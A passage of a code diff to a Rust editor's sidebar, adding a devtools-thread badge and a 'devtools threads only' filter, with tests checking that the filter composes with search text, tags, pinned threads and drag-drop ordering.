@@ -2309,7 +2384,7 @@ impl Sidebar {
             project_header_indices.push(entries.len());
             entries.push(ListEntry::PinnedHeader { has_notifications });
             // Like a project group, a collapsed section still shows what the filter matches.
-            if !self.pinned_collapsed || !query.is_empty() {
+            if !self.pinned_collapsed || !query.is_empty() || devtools_only {
                 entries.extend(pinned_rows.into_iter().map(ListEntry::Thread));
             }
         }
@@ -2325,6 +2400,7 @@ impl Sidebar {
                         path_detail_map: &path_detail_map,
                         branch_by_path: &branch_by_path,
                         resolve_agent_icon: &resolve_agent_icon,
+                        is_devtools: &is_devtools,
                         new_live_statuses: &mut new_live_statuses,
                         notified_threads: &mut notified_threads,
                     };
@@ -2668,7 +2744,7 @@ impl Sidebar {
     ) -> AnyElement {
         let host = key.host();
 
-        let has_filter = self.has_filter_query(cx);
+        let has_filter = self.is_filtering(cx);
 
         let id_prefix = if is_sticky { "sticky-" } else { "" };
         let id = SharedString::from(format!("{id_prefix}project-header-{ix}"));
@@ -2853,7 +2929,7 @@ impl Sidebar {
                 cx.listener(move |this, event: &gpui::ClickEvent, window, cx| {
                     if event.modifiers().secondary(cx) {
                         this.activate_or_open_workspace_for_group(&key_for_focus, window, cx);
-                    } else if !this.has_filter_query(cx) {
+                    } else if !this.is_filtering(cx) {
                         this.toggle_collapse(&key_for_toggle, window, cx);
                     }
                 }),
@@ -2907,7 +2983,7 @@ impl Sidebar {
             SharedString::from(format!("{id_prefix}project-header-new-thread-{ix}")),
             IconName::Plus,
         )
-        .when(!is_menu_open && !self.has_filter_query(cx), |button| {
+        .when(!is_menu_open && !self.is_filtering(cx), |button| {
             let color = cx.theme().colors();
             button
                 .hover_background(color.element_background)
@@ -3222,7 +3298,7 @@ impl Sidebar {
             .with_handle(menu_handle)
             .trigger(
                 IconButton::new(trigger_id, IconName::Ellipsis)
-                    .when(!is_menu_open && !self.has_filter_query(cx), |button| {
+                    .when(!is_menu_open && !self.is_filtering(cx), |button| {
                         let color = cx.theme().colors();
                         button
                             .hover_background(color.element_background)
@@ -3606,7 +3682,7 @@ impl Sidebar {
                         .color(Color::Accent),
                 )
             })
-            .when(!self.has_filter_query(cx), |this| {
+            .when(!self.is_filtering(cx), |this| {
                 this.child(
                     Icon::new(disclosure_icon)
                         .size(IconSize::Small)
@@ -3615,7 +3691,7 @@ impl Sidebar {
             })
             .cursor_pointer()
             .on_click(cx.listener(|this, _: &gpui::ClickEvent, _window, cx| {
-                if !this.has_filter_query(cx) {
+                if !this.is_filtering(cx) {
                     this.set_pinned_collapsed(!this.pinned_collapsed, cx);
                 }
             }))
@@ -3850,6 +3926,28 @@ impl Sidebar {
         !self.filter_editor.read(cx).text(cx).is_empty()
     }
 
+    /// Whether the list shows only what a filter matches, which every group shows expanded.
+    fn is_filtering(&self, cx: &App) -> bool {
+        self.devtools_only || self.has_filter_query(cx)
+    }
+
+    /// Lists only the devtools threads when `devtools_only`, composing with the search text and
+    /// the Pinned section; turned off, the full list comes back.
+    pub fn set_devtools_only(
+        &mut self,
+        devtools_only: bool,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if self.devtools_only == devtools_only {
+            return;
+        }
+        self.devtools_only = devtools_only;
+        // Row indices change with the filter, so a kept selection would point at another row.
+        self.selection = None;
+        self.update_entries(cx);
+    }
+
     fn start_renaming_entry(
         &mut self,
         ix: usize,
@@ -6841,6 +6939,9 @@ impl Sidebar {
             .when_some(thread.pinned_project_label.clone(), |this, label| {
                 this.project_name(label)
             })
+            .when(thread.is_devtools, |this| {
+                this.badge(IconName::ToolWeb, "Devtools thread")
+            })
             .map(|item| sub_thread_marker::mark_sub_thread(item, thread.metadata.thread_id, cx))
             .tags(thread_tags::tag_chips_for(thread.metadata.thread_id, cx))
             .timestamp(timestamp)
@@ -7964,6 +8065,8 @@ impl Sidebar {
         let has_query = self.has_filter_query(cx);
         let message = if has_query {
             "No threads match your search."
+        } else if self.devtools_only {
+            "No devtools threads yet"
         } else {
             "No threads yet"
         };
@@ -8070,6 +8173,20 @@ impl Sidebar {
                                     && !self.filter_editor.focus_handle(cx).is_focused(window),
                                 |this| this.child(KeyBinding::for_action(&FocusSidebarFilter, cx)),
                             )
+                            .child(
+                                IconButton::new("devtools_only_filter", IconName::ToolWeb)
+                                    .icon_size(IconSize::Small)
+                                    .toggle_state(self.devtools_only)
+                                    .selected_style(ButtonStyle::Tinted(TintColor::Accent))
+                                    .tooltip(Tooltip::text(if self.devtools_only {
+                                        "Show All Threads"
+                                    } else {
+                                        "Devtools Threads Only"
+                                    }))
+                                    .on_click(cx.listener(|this, _, window, cx| {
+                                        this.set_devtools_only(!this.devtools_only, window, cx);
+                                    })),
+                            )
                             .when(has_query, |this| {
                                 this.child(
                                     IconButton::new("clear_filter", IconName::Close)
diff --git a/crates/sidebar/src/sidebar_devtools_tests.rs b/crates/sidebar/src/sidebar_devtools_tests.rs
new file mode 100644
index 0000000..65a7d8a
--- /dev/null
+++ b/crates/sidebar/src/sidebar_devtools_tests.rs
@@ -0,0 +1,335 @@
+// Story 055, task 14.1 (sidebar half) — devtools threads in Zeo's thread list: the badge and the
+// "Devtools threads only" filter (design.md §B8). Requirements: R8.1, R8.2 (Q2, Q5).
+//
+// Materialize with, in `crates/sidebar/src/sidebar.rs`, beside `mod sidebar_pinned_tests;`:
+//     #[cfg(test)]
+//     mod sidebar_devtools_tests;
+// Filter: `cargo test -p sidebar` (paths `sidebar_devtools_tests::…`).
+//
+// Reuses story 032's `pub(super)` helpers from `sidebar_tests.rs`. Assumed seams — each named in
+// ONE helper below, adjust there if it moved:
+//   - `mark_devtools()`: a persisted devtools mark, written the way promotion writes it
+//     (`ThreadOrganizationStore::set_devtools_root(thread_id, root, cx)`, task 10.1/10.2);
+//   - `badged()` / `badged_ids()`: a thread row carries the badge decision as
+//     `ListEntry::Thread(t).is_devtools`, filled from `DevtoolsThreads::is_devtools` (memory ∪
+//     store); the sidebar sets `ThreadItem::badge(IconName::ToolWeb, "Devtools thread")` from it;
+//   - an UNPROMOTED devtools thread comes from `agent_ui::devtools_threads::create(root, cx)`, so
+//     it carries the in-memory mark only;
+//   - `devtools_only()`: the filter menu's toggle, `Sidebar::set_devtools_only(bool, window, cx)`.
+//
+// Hostile halves first:
+//   - the badge reads memory AND store: a devtools thread created this run, never promoted (no
+//     persisted mark), is badged too — a store-only reader leaves it bare until its first message;
+//   - the badge follows the MARK, not the title: an editor thread titled "Devtools thread" gets no
+//     badge, while a devtools thread titled like an editor thread gets one;
+//   - the filter composes, it does not replace: with a search text that matches only an EDITOR
+//     thread, "devtools only" shows no thread; and a PINNED editor thread is hidden while a pinned
+//     devtools thread is shown exactly once;
+//   - turning the filter off restores the full list exactly (same rows, same order).
+
+use super::*;
+use crate::sidebar_tests::{
+    init_test, init_test_project_with_agent_panel, save_thread_metadata_with_main_paths,
+    setup_sidebar, setup_sidebar_with_agent_panel, type_in_search, visible_entries_as_strings,
+};
+use agent_ui::thread_metadata_store::{ThreadId, ThreadMetadataStore};
+use agent_ui::thread_organization::ThreadOrganizationStore;
+use fs::FakeFs;
+use gpui::TestAppContext;
+use std::path::PathBuf;
+use util::path_list::PathList;
+
+const ALPHA: &str = "/alpha";
+
+async fn setup(cx: &mut TestAppContext) -> (Entity<Sidebar>, gpui::VisualTestContext) {
+    init_test(cx);
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(ALPHA, serde_json::json!({ "src": {} }))
+        .await;
+    cx.update(|cx| {
+        <dyn fs::Fs>::set_global(fs.clone(), cx);
+        agent_ui::thread_organization::init(cx);
+    });
+    cx.run_until_parked();
+    let project = project::Project::test(fs.clone(), [ALPHA.as_ref()], cx).await;
+    let (multi_workspace, mut vcx) =
+        cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+    let sidebar = setup_sidebar(&multi_workspace, &mut vcx);
+    (sidebar, vcx.clone())
+}
+
+fn thread(session: &str, title: &str, minute: u32, cx: &mut TestAppContext) -> ThreadId {
+    let paths = PathList::new(&[ALPHA]);
+    save_thread_metadata_with_main_paths(
+        session,
+        title,
+        paths.clone(),
+        paths,
+        chrono::TimeZone::with_ymd_and_hms(&chrono::Utc, 2026, 10, 15, 12, minute, 0).unwrap(),
+        cx,
+    );
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entries()
+            .find(|e| {
+                e.session_id
+                    .as_ref()
+                    .is_some_and(|s| s.0.as_ref() == session)
+            })
+            .map(|e| e.thread_id)
+            .expect("saved")
+    })
+}
+
+fn mark_devtools(id: ThreadId, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store
+                .set_devtools_root(id, PathBuf::from(ALPHA), cx)
+                .expect("a saved thread can carry the mark");
+        })
+    });
+    cx.run_until_parked();
+}
+
+fn pin(id: ThreadId, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store.pin(id, cx).expect("pinnable");
+        })
+    });
+    cx.run_until_parked();
+}
+
+/// Titles of the thread rows that carry the devtools badge.
+fn badged(sidebar: &Entity<Sidebar>, cx: &mut gpui::VisualTestContext) -> Vec<String> {
+    sidebar.read_with(cx, |sidebar, _| {
+        sidebar
+            .contents
+            .entries
+            .iter()
+            .filter_map(|entry| match entry {
+                ListEntry::Thread(t) if t.is_devtools => {
+                    Some(t.metadata.display_title().to_string())
+                }
+                _ => None,
+            })
+            .collect()
+    })
+}
+
+fn devtools_only(sidebar: &Entity<Sidebar>, on: bool, cx: &mut gpui::VisualTestContext) {
+    sidebar.update_in(cx, |sidebar, window, cx| {
+        sidebar.set_devtools_only(on, window, cx)
+    });
+    cx.run_until_parked();
+}
+
+fn thread_rows(sidebar: &Entity<Sidebar>, cx: &mut gpui::VisualTestContext) -> Vec<String> {
+    visible_entries_as_strings(sidebar, cx)
+        .into_iter()
+        .filter(|row| row.starts_with("  "))
+        .map(|row| row.trim().to_string())
+        .collect()
+}
+
+#[gpui::test]
+async fn hostile_the_badge_follows_the_mark_not_the_title(cx: &mut TestAppContext) {
+    let (sidebar, mut vcx) = setup(cx).await;
+    let _editor = thread("s-editor", "Devtools thread", 1, cx);
+    let browser = thread("s-browser", "Fix the header", 2, cx);
+    mark_devtools(browser, cx);
+    assert_eq!(
+        badged(&sidebar, &mut vcx),
+        vec!["Fix the header".to_string()],
+        "R8.1"
+    );
+}
+
+#[gpui::test]
+async fn hostile_devtools_only_composes_with_the_search_text(cx: &mut TestAppContext) {
+    let (sidebar, mut vcx) = setup(cx).await;
+    let _editor = thread("s-editor", "Refactor parser", 1, cx);
+    let browser = thread("s-browser", "Fix the header", 2, cx);
+    mark_devtools(browser, cx);
+    type_in_search(&sidebar, "parser", &mut vcx);
+    devtools_only(&sidebar, true, &mut vcx);
+    assert!(
+        thread_rows(&sidebar, &mut vcx)
+            .iter()
+            .all(|r| !r.contains("Refactor parser")),
+        "the editor thread matching the text is still not a devtools thread"
+    );
+    type_in_search(&sidebar, "header", &mut vcx);
+    assert!(
+        thread_rows(&sidebar, &mut vcx)
+            .iter()
+            .any(|r| r.contains("Fix the header"))
+    );
+}
+
+#[gpui::test]
+async fn hostile_devtools_only_hides_a_pinned_editor_thread_and_shows_a_pinned_devtools_one_once(
+    cx: &mut TestAppContext,
+) {
+    let (sidebar, mut vcx) = setup(cx).await;
+    let editor = thread("s-editor", "Pinned editor work", 1, cx);
+    let browser = thread("s-browser", "Pinned browser work", 2, cx);
+    mark_devtools(browser, cx);
+    pin(editor, cx);
+    pin(browser, cx);
+    devtools_only(&sidebar, true, &mut vcx);
+    let rows = thread_rows(&sidebar, &mut vcx);
+    assert!(
+        rows.iter().all(|r| !r.contains("Pinned editor work")),
+        "{rows:?}"
+    );
+    assert_eq!(
+        rows.iter()
+            .filter(|r| r.contains("Pinned browser work"))
+            .count(),
+        1,
+        "{rows:?}"
+    );
+}
+
+#[gpui::test]
+async fn turning_the_filter_off_restores_the_full_list_exactly(cx: &mut TestAppContext) {
+    let (sidebar, mut vcx) = setup(cx).await;
+    let _a = thread("s-a", "Editor A", 1, cx);
+    let b = thread("s-b", "Browser B", 2, cx);
+    let _c = thread("s-c", "Editor C", 3, cx);
+    mark_devtools(b, cx);
+    let full = visible_entries_as_strings(&sidebar, &mut vcx);
+    devtools_only(&sidebar, true, &mut vcx);
+    let only = thread_rows(&sidebar, &mut vcx);
+    assert_eq!(only, vec!["Browser B".to_string()], "R8.2");
+    devtools_only(&sidebar, false, &mut vcx);
+    assert_eq!(
+        visible_entries_as_strings(&sidebar, &mut vcx),
+        full,
+        "R8.2: restored"
+    );
+}
+
+fn badged_ids(sidebar: &Entity<Sidebar>, cx: &mut gpui::VisualTestContext) -> Vec<String> {
+    sidebar.read_with(cx, |sidebar, _| {
+        sidebar
+            .contents
+            .entries
+            .iter()
+            .filter_map(|entry| match entry {
+                ListEntry::Thread(t) if t.is_devtools => Some(t.metadata.thread_id.to_key_string()),
+                _ => None,
+            })
+            .collect()
+    })
+}
+
+#[gpui::test]
+async fn hostile_an_unpromoted_devtools_thread_is_badged_too(cx: &mut TestAppContext) {
+    let project = init_test_project_with_agent_panel(ALPHA, cx).await;
+    cx.update(|cx| {
+        agent_ui::thread_organization::init(cx);
+        agent_ui::test_support::set_stub_agent_connection(acp_thread::StubAgentConnection::new());
+    });
+    let (multi_workspace, cx) =
+        cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let (sidebar, _panel) = setup_sidebar_with_agent_panel(&multi_workspace, cx);
+    // Top level, never inside a window update (G17): a leased window is invisible to the resolver.
+    let task = cx
+        .cx
+        .update(|cx| agent_ui::devtools_threads::create(std::path::Path::new(ALPHA), cx));
+    cx.run_until_parked();
+    let created = task.await.expect("a devtools thread is created");
+    cx.run_until_parked();
+    let id = cx.update(|_, cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == created.thread_id)
+            .expect("listed in the thread store")
+    });
+    let persisted = cx.update(|_, cx| {
+        ThreadOrganizationStore::global(cx)
+            .read(cx)
+            .organization(id)
+            .and_then(|org| org.devtools_root.clone())
+    });
+    assert!(persisted.is_none(), "never promoted: no persisted mark");
+    assert_eq!(
+        badged_ids(&sidebar, cx),
+        vec![created.thread_id],
+        "R8.1: badged from memory"
+    );
+}
+
+// ═══ Story 037, task 5.2 — the `#tag` filter composes with the devtools-only view ═══════════
+//
+// Appended to 0063's file; the hunk belongs to 0063's regeneration (story 037, Task 8), not to
+// 037's own patch. Everything above this banner is 0063's file at the series tip, unchanged.
+// Requirements: R4.10, R3.2. Filter: `cargo test -p sidebar devtools`.
+//
+// Hostile halves first: with both filters on, a tagged EDITOR thread (in its group and pinned)
+// stays out — the tag term must not replace the devtools view — and an UNTAGGED devtools thread
+// stays out — the devtools view must not replace the tag term; only then the thread passing both
+// is shown. Turning the view off keeps the tag term in force.
+
+fn tag(id: ThreadId, tag: &str, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        ThreadOrganizationStore::global(cx).update(cx, |store, cx| store.add_tag(id, tag, cx))
+    })
+    .expect("fixture: a saved thread takes a valid tag");
+    cx.run_until_parked();
+}
+
+fn sorted(mut rows: Vec<String>) -> Vec<String> {
+    rows.sort();
+    rows
+}
+
+#[gpui::test]
+async fn hostile_devtools_only_and_a_tag_term_both_hold(cx: &mut TestAppContext) {
+    let (sidebar, mut vcx) = setup(cx).await;
+    let editor_php = thread("s-editor-php", "Editor php work", 1, cx);
+    let devtools_php = thread("s-devtools-php", "Browser php work", 2, cx);
+    let devtools_plain = thread("s-devtools-plain", "Browser plain work", 3, cx);
+    let pinned_editor_php = thread("s-pinned-editor", "Pinned editor php", 4, cx);
+    mark_devtools(devtools_php, cx);
+    mark_devtools(devtools_plain, cx);
+    tag(editor_php, "php", cx);
+    tag(devtools_php, "php", cx);
+    tag(pinned_editor_php, "php", cx);
+    pin(pinned_editor_php, cx);
+
+    type_in_search(&sidebar, "#php", &mut vcx);
+    devtools_only(&sidebar, true, &mut vcx);
+    assert_eq!(
+        thread_rows(&sidebar, &mut vcx),
+        vec!["Browser php work".to_string()],
+        "R4.10: tagged editor threads are not devtools threads, and the untagged devtools \
+         thread does not carry the tag"
+    );
+
+    devtools_only(&sidebar, false, &mut vcx);
+    assert_eq!(
+        sorted(thread_rows(&sidebar, &mut vcx)),
+        sorted(vec![
+            "Browser php work".to_string(),
+            "Editor php work".to_string(),
+            "Pinned editor php".to_string(),
+        ]),
+        "the view off, the tag term still holds"
+    );
+
+    type_in_search(&sidebar, "", &mut vcx);
+    assert_eq!(
+        sorted(badged(&sidebar, &mut vcx)),
+        sorted(vec![
+            "Browser php work".to_string(),
+            "Browser plain work".to_string(),
+        ]),
+        "R3.2: the devtools threads keep their badge"
+    );
+}
diff --git a/crates/sidebar/src/sidebar_organization_filter_tests.rs b/crates/sidebar/src/sidebar_organization_filter_tests.rs
index 48c8d98..4112c3f 100644
--- a/crates/sidebar/src/sidebar_organization_filter_tests.rs
+++ b/crates/sidebar/src/sidebar_organization_filter_tests.rs
@@ -1,9 +1,10 @@
-// A thread drop while the list is filtered records nothing (R5.1, R2.11, R2.2).
+// A thread drop while the list is filtered records nothing (R5.1 extended to the devtools-only
+// view, R2.11, R2.2).
 //
 // `set_manual_order` replaces a project's whole order, and a filtered list shows only part of
-// it: a drop there would take every hidden thread out of the order. The search text is
-// covered over a Manual project whose hidden thread must keep its slot, and over a Recent
-// project that must stay Recent.
+// it: a drop there would take every hidden thread out of the order. Both filters are covered —
+// the devtools-only view and the search text — each over a Manual project whose hidden thread
+// must keep its slot, and over a Recent project that must stay Recent.
 
 use super::*;
 use crate::sidebar_tests::{
@@ -74,6 +75,18 @@ fn thread(session: &str, title: &str, minute: u32, cx: &mut VisualTestContext) -
     })
 }
 
+/// Marks `thread_id` as a devtools thread, the way 0063 records it.
+fn mark_devtools(thread_id: ThreadId, cx: &mut VisualTestContext) {
+    cx.update(|_, cx| {
+        ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store
+                .set_devtools_root(thread_id, PathBuf::from(ALPHA), cx)
+                .expect("fixture: a saved thread can carry the mark");
+        })
+    });
+    cx.run_until_parked();
+}
+
 /// Seeds a Manual order straight into the store (a fixture, not the code under test).
 fn record_order(order: &[ThreadId], cx: &mut VisualTestContext) {
     cx.update(|_, cx| {
@@ -85,6 +98,13 @@ fn record_order(order: &[ThreadId], cx: &mut VisualTestContext) {
     cx.run_until_parked();
 }
 
+fn devtools_only(sidebar: &Entity<Sidebar>, cx: &mut VisualTestContext) {
+    sidebar.update_in(cx, |sidebar, window, cx| {
+        sidebar.set_devtools_only(true, window, cx)
+    });
+    cx.run_until_parked();
+}
+
 // ── Reading the store and the sidebar ──────────────────────────────────────
 
 fn mode(cx: &mut VisualTestContext) -> SortMode {
@@ -144,6 +164,53 @@ fn drop_on(
     cx.run_until_parked();
 }
 
+// ── The devtools-only view ─────────────────────────────────────────────────
+
+// R2.11, R5.1: the hidden editor thread keeps its slot, and so does every shown one.
+#[gpui::test]
+async fn devtools_only_drop_keeps_the_hidden_threads_in_place(cx: &mut TestAppContext) {
+    let (sidebar, cx) = alpha_window(cx).await;
+    let editor = thread("s-editor", "Editor thread", 3, cx);
+    let first = thread("s-first", "First devtools", 2, cx);
+    let second = thread("s-second", "Second devtools", 1, cx);
+    mark_devtools(first, cx);
+    mark_devtools(second, cx);
+    record_order(&[editor, first, second], cx);
+    devtools_only(&sidebar, cx);
+    let before = visible_entries_as_strings(&sidebar, cx);
+    assert!(
+        !before.iter().any(|line| line.contains("Editor thread")),
+        "fixture: the devtools-only view hides the editor thread"
+    );
+
+    drop_on(&sidebar, second, first, cx);
+
+    assert_eq!(
+        slots(&[editor, first, second], cx),
+        vec![Some(0), Some(1), Some(2)],
+        "a drop in the devtools-only view records nothing: the hidden thread keeps its slot"
+    );
+    assert_eq!(mode(cx), SortMode::Manual, "the mode is unchanged");
+    assert_eq!(visible_entries_as_strings(&sidebar, cx), before);
+}
+
+// R2.2: a Recent project shown through the devtools-only view stays Recent.
+#[gpui::test]
+async fn devtools_only_drop_leaves_a_recent_project_recent(cx: &mut TestAppContext) {
+    let (sidebar, cx) = alpha_window(cx).await;
+    let _editor = thread("s-editor", "Editor thread", 3, cx);
+    let first = thread("s-first", "First devtools", 2, cx);
+    let second = thread("s-second", "Second devtools", 1, cx);
+    mark_devtools(first, cx);
+    mark_devtools(second, cx);
+    devtools_only(&sidebar, cx);
+
+    drop_on(&sidebar, second, first, cx);
+
+    assert_eq!(mode(cx), SortMode::Recent, "nothing recorded");
+    assert_eq!(slots(&[first, second], cx), vec![None, None]);
+}
+
 // ── The search text ────────────────────────────────────────────────────────
 
 // R5.1: text typed while the pointer is held gets past the drag-offer gate; the drop itself
diff --git a/crates/sidebar/src/sidebar_organization_tests.rs b/crates/sidebar/src/sidebar_organization_tests.rs
index 5d35420..243b354 100644
--- a/crates/sidebar/src/sidebar_organization_tests.rs
+++ b/crates/sidebar/src/sidebar_organization_tests.rs
@@ -573,6 +573,7 @@ mod pure {
             worktrees: Vec::new(),
             diff_stats: DiffStats::default(),
             pinned_project_label: pinned_label.map(|label| SharedString::from(label.to_string())),
+            is_devtools: false,
         }))
     }
 
diff --git a/crates/sidebar/src/sidebar_tests.rs b/crates/sidebar/src/sidebar_tests.rs
index da4d7a1..4a90b07 100644
--- a/crates/sidebar/src/sidebar_tests.rs
+++ b/crates/sidebar/src/sidebar_tests.rs
@@ -1547,6 +1547,7 @@ async fn test_neighboring_activatable_entry_stays_within_project(cx: &mut TestAp
             worktrees: Vec::new(),
             diff_stats: DiffStats::default(),
             pinned_project_label: None,
+            is_devtools: false,
         }))
     };
 
@@ -1640,6 +1641,7 @@ async fn test_visible_entries_as_strings(cx: &mut TestAppContext) {
                 worktrees: Vec::new(),
                 diff_stats: DiffStats::default(),
                 pinned_project_label: None,
+                is_devtools: false,
             })),
             // Active thread with Running status
             ListEntry::Thread(Arc::new(ThreadEntry {
@@ -1668,6 +1670,7 @@ async fn test_visible_entries_as_strings(cx: &mut TestAppContext) {
                 worktrees: Vec::new(),
                 diff_stats: DiffStats::default(),
                 pinned_project_label: None,
+                is_devtools: false,
             })),
             // Active thread with Error status
             ListEntry::Thread(Arc::new(ThreadEntry {
@@ -1696,6 +1699,7 @@ async fn test_visible_entries_as_strings(cx: &mut TestAppContext) {
                 worktrees: Vec::new(),
                 diff_stats: DiffStats::default(),
                 pinned_project_label: None,
+                is_devtools: false,
             })),
             // Thread with WaitingForConfirmation status, not active
             // remote_connection: None,
@@ -1725,6 +1729,7 @@ async fn test_visible_entries_as_strings(cx: &mut TestAppContext) {
                 worktrees: Vec::new(),
                 diff_stats: DiffStats::default(),
                 pinned_project_label: None,
+                is_devtools: false,
             })),
             // Background thread that completed (should show notification)
             // remote_connection: None,
@@ -1754,6 +1759,7 @@ async fn test_visible_entries_as_strings(cx: &mut TestAppContext) {
                 worktrees: Vec::new(),
                 diff_stats: DiffStats::default(),
                 pinned_project_label: None,
+                is_devtools: false,
             })),
             // Collapsed project header
             ListEntry::ProjectHeader {
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 20d3ad2..6c45d54 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -6360,6 +6360,7 @@ mod tests {
                 "debug_panel",
                 "debugger",
                 "dev",
+                "devtools",
                 "devtools_bridge",
                 "diagnostics",
                 "edit_prediction",
